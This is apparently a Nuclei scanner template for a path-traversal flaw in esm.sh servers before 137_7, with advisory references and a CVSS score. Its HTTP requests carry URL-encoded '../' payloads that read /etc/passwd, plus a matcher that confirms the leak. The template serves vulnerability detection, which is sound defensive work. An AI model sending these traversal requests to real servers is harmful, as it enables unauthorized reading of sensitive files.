Description
esm.sh server < 137_7 contains a path traversal caused by improper validation of URL-decoded r.URL.Path in web.NewHandler, letting unauthenticated remote attackers read files outside Config.AppDir, exploit requires Dev mode disabled.
esm.sh server < 137_7 contains a path traversal caused by improper validation of URL-decoded r.URL.Path in web.NewHandler, letting unauthenticated remote attackers read files outside Config.AppDir, exploit requires Dev mode disabled.
id: CVE-2026-102657
info:
name: esm.sh web handler < v137_7 - Path Traversal
author: maulanawirawan
severity: high
description: |
esm.sh server < 137_7 contains a path traversal caused by improper validation of URL-decoded r.URL.Path in web.NewHandler, letting unauthenticated remote attackers read files outside Config.AppDir, exploit requires Dev mode disabled.
impact: |
Unauthenticated attackers can read arbitrary files accessible by the server, leading to sensitive information disclosure.
remediation: |
Update to server version 137_7 or later.
reference:
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763
- https://github.com/esm-dev/esm.sh/pull/1376
- https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed
- https://nvd.nist.gov/vuln/detail/CVE-2026-102657
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-102657
epss-score: 0.03661
epss-percentile: 0.9042
cwe-id: CWE-22
metadata:
verified: true
max-request: 4
vendor: esm-dev
product: esm.sh
tags: cve,cve2026,esm,lfi,traversal,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /@hmr HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "javascript")'
- 'contains_all(body, "createHotContext", "watchers", "registry")'
condition: and
internal: true
- raw:
- |
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
- |
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200
# digest: 4a0a0047304502202d2f66731d55e55797424584df9033dd12c828d45d58893bc123971e35962a76022100a987f8293efb5d70711eff8a4410c11f1e71512768f788d25eda2dc5fdd84941:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.